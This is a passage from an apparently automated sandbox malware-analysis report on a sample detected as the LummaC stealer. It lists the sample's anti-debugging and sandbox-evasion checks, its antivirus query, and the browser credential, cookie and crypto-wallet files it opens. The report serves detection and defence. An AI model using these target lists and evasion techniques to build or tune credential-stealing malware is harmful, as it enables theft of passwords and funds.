Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2132827892.00000000054B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2471850696.0000000005F2E000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2466418946.00000000008FB000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2364632166.0000000000E14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2362202078.0000000000E14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2361975873.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__8
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, 00000000.00000002.2471850696.0000000005F2E000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: !NProgram Manager
Source: file.exe, 00000000.00000002.2466418946.00000000008FB000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 2fProgram Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.2214860738.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214802106.0000000005493000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214777433.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2215031120.0000000000E1B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214888992.0000000005495000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 2716, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: Wallets/Electrum
Source: file.exe	String found in binary or memory: Wallets/ElectronCash
Source: file.exe	String found in binary or memory: window-state.json
Source: file.exe, 00000000.00000003.2191951510.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: file.exe	String found in binary or memory: %appdata%\Ethereum
Source: file.exe, 00000000.00000003.2191923818.0000000000E40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2191923818.0000000000E40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
